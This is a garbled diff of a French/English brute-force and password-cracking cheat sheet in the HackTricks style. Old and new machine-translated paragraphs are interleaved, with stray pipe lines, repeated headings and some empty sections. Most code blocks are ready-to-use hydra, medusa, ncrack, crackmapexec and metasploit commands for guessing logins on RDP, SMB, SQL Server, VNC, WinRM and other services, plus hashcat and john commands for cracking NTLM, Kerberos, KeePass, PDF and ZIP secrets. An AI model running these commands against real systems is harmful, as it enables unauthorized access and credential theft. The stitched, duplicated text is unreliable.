4. **Monitor Logs**: Regularly monitor your PostgreSQL logs for any unusual login patterns or suspicious activity.
|
||||||
|
|
||||||
|
By implementing these protection measures, you can significantly reduce the risk of a successful brute force attack on your PostgreSQL database.
|
||||||
```bash
|
```bash
|
||||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
||||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
||||||
|
@ -481,7 +470,7 @@ cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
||||||
|
|
||||||
#### Brute Force
|
#### Brute Force
|
||||||
|
|
||||||
Brute force attacks against RDP servers are common and can be mitigated by implementing strong password policies, account lockout policies, and using multi-factor authentication. Tools such as Hydra, Ncrack, and Crowbar can be used to automate the brute force process. It is important to monitor RDP logs for any suspicious login attempts and to regularly audit RDP server configurations for security vulnerabilities.
|
Brute force attacks are a common method used to gain unauthorized access to RDP servers. Attackers use automated tools to try all possible username and password combinations until the correct one is found. This method is effective against weak or default credentials. To protect against brute force attacks, it is recommended to use strong, complex passwords, implement account lockout policies, and use multi-factor authentication.
|
||||||
```bash
|
```bash
|
||||||
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
||||||
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
||||||
|
@ -489,7 +478,7 @@ legba rdp --target localhost:3389 --username admin --password data/passwords.txt
|
||||||
```
|
```
|
||||||
### Redis
|
### Redis
|
||||||
|
|
||||||
Redis is an open-source, in-memory data structure store that can be used as a database, cache, and message broker. It supports various data structures such as strings, hashes, lists, sets, and more. Redis does not have built-in support for authentication, so it is crucial to secure it properly. Common security issues with Redis include unauthorized access and data exposure. It is essential to use strong passwords, firewall rules, and access controls to protect Redis instances from unauthorized access.
|
Redis (Remote Dictionary Server) est un système de stockage de données en mémoire open source, utilisé comme base de données, cache et courtier de messages. Il prend en charge diverses structures de données telles que les chaînes, les hachages, les listes, les ensembles, les ensembles triés avec des opérations de manipulation de données rapides.
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/redis/redis_login
|
msf> use auxiliary/scanner/redis/redis_login
|
||||||
nmap --script redis-brute -p 6379 <IP>
|
nmap --script redis-brute -p 6379 <IP>
|
||||||
|
@ -498,50 +487,34 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t
|
||||||
```
|
```
|
||||||
### Rexec
|
### Rexec
|
||||||
|
|
||||||
#### Brute Force
|
### Rexec
|
||||||
|
|
||||||
Brute force attacks against Rexec can be carried out using tools like Hydra or Ncrack. These tools can be used to systematically try all possible username and password combinations until the correct one is found. It is important to note that brute force attacks can be time-consuming and resource-intensive, so they should be used with caution and only when other methods of access have been exhausted.
|
Rexec is a simple service that allows users to execute commands on a remote system. It is often used by administrators to manage servers and network devices. Rexec is a plaintext protocol, which means that the commands and responses are not encrypted. This makes it vulnerable to eavesdropping and man-in-the-middle attacks.
|
||||||
|
|
||||||
#### Mitigation
|
### Rexec
|
||||||
|
|
||||||
To mitigate brute force attacks against Rexec, it is recommended to implement strong password policies, such as using complex passwords and enforcing account lockout policies after a certain number of failed login attempts. Additionally, implementing multi-factor authentication can add an extra layer of security to prevent unauthorized access. Regularly monitoring logs for any suspicious login activity can also help detect and respond to brute force attacks in a timely manner.
|
Rexec est un service simple qui permet aux utilisateurs d'exécuter des commandes sur un système distant. Il est souvent utilisé par les administrateurs pour gérer des serveurs et des périphériques réseau. Rexec est un protocole en texte clair, ce qui signifie que les commandes et les réponses ne sont pas cryptées. Cela le rend vulnérable à l'écoute et aux attaques de l'homme du milieu.
|
||||||
```bash
|
```bash
|
||||||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||||
```
|
```
|
||||||
### Rlogin
|
### Rlogin
|
||||||
|
|
||||||
#### Brute Force
|
Rlogin est un protocole de connexion à distance qui peut être attaqué en utilisant des attaques de force brute pour deviner les mots de passe des utilisateurs. Les outils couramment utilisés pour mener des attaques de force brute contre Rlogin incluent Hydra, Medusa et Ncrack.
|
||||||
|
|
||||||
Brute force attacks against the rlogin service can be performed using tools like Hydra or Medusa. These tools can automate the process of trying different username and password combinations until the correct one is found.
|
|
||||||
|
|
||||||
#### Protection
|
|
||||||
|
|
||||||
To protect against brute force attacks on rlogin, it is recommended to:
|
|
||||||
- Use strong and unique passwords
|
|
||||||
- Implement account lockout policies
|
|
||||||
- Monitor login attempts for unusual activity
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||||
```
|
```
|
||||||
### Rsh
|
### Rsh
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### Brute Force
|
#### Brute Force
|
||||||
|
|
||||||
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is often used when the key space is small enough to be easily searched. Brute force attacks can be time-consuming but are almost always successful if given enough time.
|
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is often used when other techniques have failed. It is a time-consuming process but can be effective if the key space is small.
|
||||||
|
|
||||||
##### Tools
|
#### Countermeasures
|
||||||
|
|
||||||
- Hydra
|
- Implement account lockout policies to prevent multiple login attempts.
|
||||||
- Medusa
|
- Use complex and long passwords to increase the key space.
|
||||||
- Ncrack
|
- Implement multi-factor authentication to add an extra layer of security.
|
||||||
|
- Monitor login attempts for suspicious activity.
|
||||||
##### Techniques
|
|
||||||
|
|
||||||
- Dictionary Attack
|
|
||||||
- Hybrid Attack
|
|
||||||
- Rainbow Table Attack
|
|
||||||
```bash
|
```bash
|
||||||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||||||
```
|
```
|
||||||
|
@ -561,7 +534,7 @@ hydra -l root -P passwords.txt <IP> rtsp
|
||||||
|
|
||||||
### Force brute
|
### Force brute
|
||||||
|
|
||||||
La force brute est une technique utilisée pour tenter toutes les combinaisons possibles de mots de passe jusqu'à ce que le bon soit trouvé. C'est une méthode couramment utilisée pour attaquer les services SFTP.
|
La force brute est une méthode d'attaque consistant à essayer toutes les combinaisons possibles de mots de passe ou de clés privées pour accéder à un système ou un service. Cette technique est souvent utilisée pour tenter de deviner des informations d'identification SFTP.
|
||||||
```bash
|
```bash
|
||||||
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
|
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
|
||||||
# Try keys from a folder
|
# Try keys from a folder
|
||||||
|
@ -569,7 +542,7 @@ legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --tar
|
||||||
```
|
```
|
||||||
### SNMP
|
### SNMP
|
||||||
|
|
||||||
### SNMP
|
La méthode de force brute peut être utilisée pour deviner les chaînes de communauté SNMP. Les outils tels que `onesixtyone` peuvent être utilisés pour automatiser ce processus.
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/snmp/snmp_login
|
msf> use auxiliary/scanner/snmp/snmp_login
|
||||||
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
||||||
|
@ -578,13 +551,9 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
|
||||||
```
|
```
|
||||||
### SMB
|
### SMB
|
||||||
|
|
||||||
#### Brute Force
|
### SMB
|
||||||
|
|
||||||
Brute force attacks against SMB services are common and can be performed using tools like Hydra, Medusa, or Metasploit. These tools allow an attacker to try different username and password combinations until the correct one is found. It is important to use strong and complex passwords to mitigate the risk of a successful brute force attack.
|
Brute force attacks against SMB services are common and can be performed using tools like Hydra or Metasploit. These attacks involve trying different username and password combinations until the correct one is found. It is important to use strong and complex passwords to prevent successful brute force attacks.
|
||||||
|
|
||||||
#### Dictionary Attack
|
|
||||||
|
|
||||||
In addition to brute force attacks, dictionary attacks can also be used against SMB services. In a dictionary attack, the attacker uses a list of commonly used passwords or words from a dictionary to try to gain unauthorized access to the SMB service. It is crucial to use unique and less predictable passwords to defend against dictionary attacks.
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script smb-brute -p 445 <IP>
|
nmap --script smb-brute -p 445 <IP>
|
||||||
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||||||
|
@ -592,7 +561,7 @@ legba smb --target share.company.com --username admin --password data/passwords.
|
||||||
```
|
```
|
||||||
### SMTP
|
### SMTP
|
||||||
|
|
||||||
SMTP (Simple Mail Transfer Protocol) is a communication protocol for email transmission. It is widely used for sending emails over the Internet. In a brute-force attack against an SMTP server, an attacker tries to guess valid usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try different combinations until the correct one is found. It is important for organizations to implement security measures such as account lockout policies and strong password requirements to protect against brute-force attacks on SMTP servers.
|
### SMTP
|
||||||
```bash
|
```bash
|
||||||
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
||||||
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
||||||
|
@ -611,7 +580,23 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
|
||||||
|
|
||||||
#### Brute Force
|
#### Brute Force
|
||||||
|
|
||||||
Brute force attacks against SQL Server can be performed using tools like Hydra, Ncrack, or custom scripts. These tools can help automate the process of trying different combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockouts or alarms on the target system. It is recommended to use brute force attacks responsibly and with proper authorization.
|
Brute force attacks against SQL Server involve attempting to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try different combinations of usernames and passwords until the correct one is found.
|
||||||
|
|
||||||
|
#### Prevention
|
||||||
|
|
||||||
|
To prevent brute force attacks against SQL Server, you can implement the following measures:
|
||||||
|
|
||||||
|
1. **Strong Password Policy**: Enforce a strong password policy that includes a combination of letters, numbers, and special characters.
|
||||||
|
|
||||||
|
2. **Account Lockout Policy**: Implement an account lockout policy that locks out an account after a certain number of failed login attempts.
|
||||||
|
|
||||||
|
3. **Multi-Factor Authentication (MFA)**: Implement MFA to add an extra layer of security to the authentication process.
|
||||||
|
|
||||||
|
4. **Limit Login Attempts**: Limit the number of login attempts allowed within a certain time period to prevent automated brute force attacks.
|
||||||
|
|
||||||
|
5. **Monitoring and Logging**: Monitor and log login attempts to detect and respond to suspicious activity.
|
||||||
|
|
||||||
|
By implementing these preventive measures, you can significantly reduce the risk of brute force attacks against your SQL Server.
|
||||||
```bash
|
```bash
|
||||||
#Use the NetBIOS name of the machine as domain
|
#Use the NetBIOS name of the machine as domain
|
||||||
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||||
|
@ -644,7 +629,7 @@ legba stomp --target localhost:61613 --username admin --password data/passwords.
|
||||||
```
|
```
|
||||||
### Telnet
|
### Telnet
|
||||||
|
|
||||||
Telnet est un protocole de communication utilisé pour se connecter à des appareils distants sur un réseau. Il est souvent utilisé pour l'administration à distance des appareils réseau. Les attaques de force brute contre Telnet consistent à essayer de deviner les identifiants de connexion en essayant différentes combinaisons de noms d'utilisateur et de mots de passe. Ces attaques peuvent être automatisées à l'aide d'outils spécialisés.
|
Telnet est un protocole de communication utilisé pour se connecter à distance à des serveurs, routeurs et autres périphériques réseau. Il est souvent utilisé par les hackers pour effectuer des attaques de force brute en essayant de deviner les identifiants de connexion en envoyant de multiples combinaisons de noms d'utilisateur et de mots de passe.
|
||||||
```bash
|
```bash
|
||||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||||
|
@ -663,11 +648,7 @@ legba telnet \
|
||||||
|
|
||||||
#### Brute Force
|
#### Brute Force
|
||||||
|
|
||||||
Brute forcing VNC involves trying all possible username and password combinations until a successful login is found. Tools like Hydra and Medusa can be used for this purpose.
|
Brute force attacks against VNC servers are common due to the protocol's lack of built-in security features. Tools like Hydra and Medusa can be used to automate the process of trying different username and password combinations until the correct one is found. It is important to use strong, complex passwords and implement other security measures to protect VNC servers from brute force attacks.
|
||||||
|
|
||||||
#### Protection
|
|
||||||
|
|
||||||
To protect against brute force attacks on VNC, it is recommended to use strong, complex passwords and implement account lockout policies after a certain number of failed login attempts. Additionally, using VPNs or restricting VNC access to specific IP addresses can add an extra layer of security.
|
|
||||||
```bash
|
```bash
|
||||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
||||||
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
||||||
|
@ -684,15 +665,15 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
||||||
```
|
```
|
||||||
### Winrm
|
### Winrm
|
||||||
|
|
||||||
Winrm (Windows Remote Management) est un protocole de gestion à distance utilisé pour l'administration des systèmes Windows.
|
Winrm (Windows Remote Management) est un protocole de gestion à distance utilisé pour l'administration des systèmes Windows. Il peut être utilisé pour exécuter des commandes à distance sur des machines Windows.
|
||||||
```bash
|
```bash
|
||||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||||
```
|
```
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez dès aujourd'hui :
|
Accédez dès aujourd'hui à :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -712,7 +693,7 @@ Accédez dès aujourd'hui :
|
||||||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||||||
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||||||
|
|
||||||
Consultez ceci avant d'essayer de brute force un Hash.
|
Consultez ceci avant d'essayer de faire une attaque par force brute sur un Hash.
|
||||||
|
|
||||||
### ZIP
|
### ZIP
|
||||||
```bash
|
```bash
|
||||||
|
@ -766,7 +747,7 @@ Brute force attacks consist of systematically checking all possible keys or pass
|
||||||
|
|
||||||
#### Protection
|
#### Protection
|
||||||
|
|
||||||
To protect against brute force attacks, it is important to use strong and complex passwords that are not easily guessable. Additionally, implementing account lockout policies after a certain number of failed login attempts can help prevent brute force attacks.
|
To protect against brute force attacks, it is important to use strong and complex passwords that are not easily guessable. Implementing account lockout policies after a certain number of failed login attempts can also help prevent brute force attacks. Additionally, using multi-factor authentication can add an extra layer of security to prevent unauthorized access.
|
||||||
```bash
|
```bash
|
||||||
apt-get install pdfcrack
|
apt-get install pdfcrack
|
||||||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||||
|
@ -799,13 +780,7 @@ hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.tx
|
||||||
```
|
```
|
||||||
### Keepass
|
### Keepass
|
||||||
|
|
||||||
#### Brute Force
|
### Keepass
|
||||||
|
|
||||||
Brute force attacks are a common way to gain unauthorized access to a Keepass database. Attackers use automated tools to try all possible combinations of passwords until the correct one is found. This method can be time-consuming but is effective if the password is weak.
|
|
||||||
|
|
||||||
#### Protection
|
|
||||||
|
|
||||||
To protect against brute force attacks, it is essential to use a strong and unique password for your Keepass database. Additionally, enabling two-factor authentication can add an extra layer of security to prevent unauthorized access. Regularly updating your passwords and keeping your Keepass software up to date can also help mitigate the risk of brute force attacks.
|
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
||||||
keepass2john file.kdbx > hash #The keepass is only using password
|
keepass2john file.kdbx > hash #The keepass is only using password
|
||||||
|
@ -815,7 +790,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
||||||
```
|
```
|
||||||
### Keberoasting
|
### Keberoasting
|
||||||
|
|
||||||
Keberoasting est une technique d'attaque qui cible les services Kerberos pour extraire des tickets de service et les attaquer hors ligne.
|
Keberoasting est une technique utilisée pour extraire des hachages de mots de passe à partir de services tels que Kerberos en attaquant les comptes de service qui ont des comptes de service SPN (Service Principal Name) associés.
|
||||||
```bash
|
```bash
|
||||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||||
|
@ -843,7 +818,7 @@ mount /dev/mapper/mylucksopen /mnt
|
||||||
```
|
```
|
||||||
### Mysql
|
### Mysql
|
||||||
|
|
||||||
Un autre tutoriel Luks BF : [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
|
Un autre tutoriel de BF Luks : [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
|
||||||
```bash
|
```bash
|
||||||
#John hash format
|
#John hash format
|
||||||
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
|
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
|
||||||
|
@ -883,7 +858,7 @@ zip -r file.xls .
|
||||||
# From https://github.com/crackpkcs12/crackpkcs12
|
# From https://github.com/crackpkcs12/crackpkcs12
|
||||||
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||||
```
|
```
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -895,7 +870,7 @@ Accédez dès aujourd'hui :
|
||||||
|
|
||||||
**Exemples de hash :** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
**Exemples de hash :** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||||||
|
|
||||||
### Identification de hash
|
### Identificateur de hash
|
||||||
```bash
|
```bash
|
||||||
hash-identifier
|
hash-identifier
|
||||||
> <HASH>
|
> <HASH>
|
||||||
|
@ -976,7 +951,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
|
||||||
## Use it to crack the password
|
## Use it to crack the password
|
||||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
|
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
|
||||||
```
|
```
|
||||||
* Attaque Wordlist + Masque (`-a 6`) / Masque + Wordlist (`-a 7`)
|
* Attaque par liste de mots + masque (`-a 6`) / Attaque par masque + liste de mots (`-a 7`)
|
||||||
```bash
|
```bash
|
||||||
# Mask numbers will be appended to each word in the wordlist
|
# Mask numbers will be appended to each word in the wordlist
|
||||||
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
||||||
|
@ -988,88 +963,79 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
||||||
```bash
|
```bash
|
||||||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||||
```
|
```
|
||||||
## Brute Force
|
## Brute Forcing
|
||||||
|
|
||||||
### Description
|
### Introduction
|
||||||
|
|
||||||
Brute force is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. This method is often used to crack Linux hashes stored in the `/etc/shadow` file.
|
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes from the `/etc/shadow` file, brute forcing involves generating potential passwords and hashing them using the same algorithm and salt as the original hash. If the generated hash matches the target hash, the password has been successfully cracked.
|
||||||
|
|
||||||
### Tools
|
### Tools
|
||||||
|
|
||||||
- **John the Ripper**: A popular password cracking tool that can be used for brute force attacks.
|
There are various tools available for brute forcing passwords, such as John the Ripper, Hashcat, and Hydra. These tools support different algorithms and techniques for password cracking, making them versatile and powerful options for cracking Linux hashes.
|
||||||
- **Hashcat**: Another powerful tool for cracking passwords using brute force and other techniques.
|
|
||||||
|
|
||||||
### Methodology
|
### Methodology
|
||||||
|
|
||||||
1. Obtain the hash from the `/etc/shadow` file.
|
1. Obtain the hash from the `/etc/shadow` file.
|
||||||
2. Use a password cracking tool like John the Ripper or Hashcat to perform a brute force attack.
|
2. Identify the hashing algorithm and salt used.
|
||||||
3. Configure the tool to try different combinations of characters, such as letters, numbers, and symbols.
|
3. Use a brute force tool to generate potential passwords and hash them using the same algorithm and salt.
|
||||||
4. Monitor the progress of the brute force attack and wait for the correct password to be found.
|
4. Compare the generated hashes with the target hash.
|
||||||
5. Once the password is cracked, it can be used to gain unauthorized access to the system.
|
5. If a match is found, the password has been successfully cracked.
|
||||||
|
|
||||||
### Prevention
|
### Considerations
|
||||||
|
|
||||||
- Use strong, complex passwords that are less susceptible to brute force attacks.
|
- Brute forcing can be time-consuming, especially for complex passwords.
|
||||||
- Implement multi-factor authentication to add an extra layer of security.
|
- It is essential to use a good wordlist and customize the brute force settings to increase the chances of success.
|
||||||
- Regularly update passwords and monitor for any unauthorized access attempts.
|
- Brute forcing should be done responsibly and with proper authorization to avoid legal consequences.
|
||||||
```
|
```
|
||||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||||
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
||||||
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
||||||
```
|
```
|
||||||
# Brute-Force
|
## Brute Forcing Windows Hashes
|
||||||
|
|
||||||
## Introduction
|
### Introduction
|
||||||
|
|
||||||
Brute-force attacks are a common method used to crack passwords by systematically trying all possible combinations until the correct one is found. This technique can be used to crack Windows hashes by generating potential passwords and comparing their hash values to the target hash.
|
When it comes to cracking Windows hashes, one of the most common methods is brute forcing. This technique involves trying all possible combinations of characters until the correct password is found. In this section, we will discuss the steps involved in brute forcing Windows hashes.
|
||||||
|
|
||||||
## Tools
|
### Tools Required
|
||||||
|
|
||||||
There are various tools available for performing brute-force attacks on Windows hashes, such as **John the Ripper** and **Hashcat**. These tools support different algorithms and can be customized to optimize the cracking process.
|
To perform a brute force attack on Windows hashes, you will need tools such as **John the Ripper** or **Hashcat**. These tools are capable of generating and testing a large number of password combinations in a short amount of time.
|
||||||
|
|
||||||
## Methodology
|
### Methodology
|
||||||
|
|
||||||
1. Obtain the Windows hash that you want to crack.
|
1. **Capture the Hash**: The first step is to obtain the Windows hash that you want to crack. This can be done by extracting the hash from the Windows SAM file or by using tools like **Mimikatz** to dump the hashes from memory.
|
||||||
2. Choose a suitable tool for performing the brute-force attack.
|
|
||||||
3. Configure the tool with the necessary parameters, such as the hash type and character set.
|
|
||||||
4. Start the brute-force attack and wait for the tool to find the correct password.
|
|
||||||
5. Once the password is found, use it to gain unauthorized access to the target system.
|
|
||||||
|
|
||||||
## Conclusion
|
2. **Choose a Wordlist**: Before starting the brute force attack, you need to select a wordlist that will be used to generate password combinations. Wordlists can be obtained from various sources or created based on common passwords and patterns.
|
||||||
|
|
||||||
Brute-force attacks can be an effective way to crack Windows hashes, especially if the passwords are weak or easily guessable. It is important to use strong, complex passwords to protect against these types of attacks.
|
3. **Run the Brute Force Attack**: Use a tool like **John the Ripper** or **Hashcat** to run the brute force attack against the captured hash. The tool will systematically try all possible password combinations until the correct one is found.
|
||||||
|
|
||||||
|
4. **Crack the Hash**: Once the tool successfully cracks the hash, it will display the password that corresponds to the hash. This password can then be used to gain access to the Windows system.
|
||||||
|
|
||||||
|
### Conclusion
|
||||||
|
|
||||||
|
Brute forcing Windows hashes can be a time-consuming process, especially if the password is complex. However, with the right tools and techniques, it is possible to crack Windows hashes and gain unauthorized access to a system. It is important to use these techniques responsibly and only on systems that you have permission to test.
|
||||||
```
|
```
|
||||||
3000 | LM | Operating-Systems
|
3000 | LM | Operating-Systems
|
||||||
1000 | NTLM | Operating-Systems
|
1000 | NTLM | Operating-Systems
|
||||||
```
|
```
|
||||||
## Brute-Force
|
## Brute-Force
|
||||||
|
|
||||||
### Introduction
|
### Dictionary Attacks
|
||||||
|
|
||||||
Brute-force attacks are a common method used to crack passwords and hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute-force attacks can be time-consuming but are often effective.
|
A dictionary attack involves the use of a wordlist to attempt to crack passwords. These wordlists can be obtained from various sources and may contain commonly used passwords, dictionary words, or previously leaked passwords. Tools like `hashcat` and `John the Ripper` support dictionary attacks and can be highly effective if the password is weak or commonly used.
|
||||||
|
|
||||||
### Tools
|
### Rule-Based Attacks
|
||||||
|
|
||||||
There are several tools available for conducting brute-force attacks, such as Hydra, John the Ripper, and Hashcat. These tools can be customized to target specific types of hashes and passwords, making them versatile for different scenarios.
|
Rule-based attacks involve the use of predefined rules to manipulate wordlists during the cracking process. These rules can modify words by adding numbers, special characters, or making other common password variations. Tools like `hashcat` allow users to create custom rule sets to increase the chances of cracking passwords.
|
||||||
|
|
||||||
### Methodology
|
### Hybrid Attacks
|
||||||
|
|
||||||
1. **Select Target**: Identify the target application or system that you want to crack the hash for.
|
Hybrid attacks combine dictionary attacks with brute-force attacks by adding specific patterns or characters to dictionary words. This approach can be useful when passwords have been slightly modified from dictionary words. Tools like `hashcat` support hybrid attacks and can be configured to try various combinations efficiently.
|
||||||
|
|
||||||
2. **Choose Tool**: Select a suitable brute-force tool based on the type of hash or password you are trying to crack.
|
### Mask Attacks
|
||||||
|
|
||||||
3. **Configure Tool**: Customize the tool settings to match the hash type and complexity of the password.
|
Mask attacks involve creating a mask that represents the password's potential format and characters. This method is useful when the password's structure is known, such as the length or specific characters used. Tools like `hashcat` allow users to define custom masks to target specific password patterns, making the cracking process more efficient.
|
||||||
|
|
||||||
4. **Initiate Attack**: Start the brute-force attack and let the tool run through all possible combinations.
|
|
||||||
|
|
||||||
5. **Monitor Progress**: Keep an eye on the progress of the attack to see if any valid passwords are found.
|
|
||||||
|
|
||||||
6. **Crack Hash**: Once the correct password is identified, use it to access the target application or system.
|
|
||||||
|
|
||||||
### Conclusion
|
|
||||||
|
|
||||||
Brute-force attacks can be a powerful method for cracking common application hashes. By using the right tools and following a systematic approach, hackers can successfully uncover passwords and gain unauthorized access to systems.
|
|
||||||
```
|
```
|
||||||
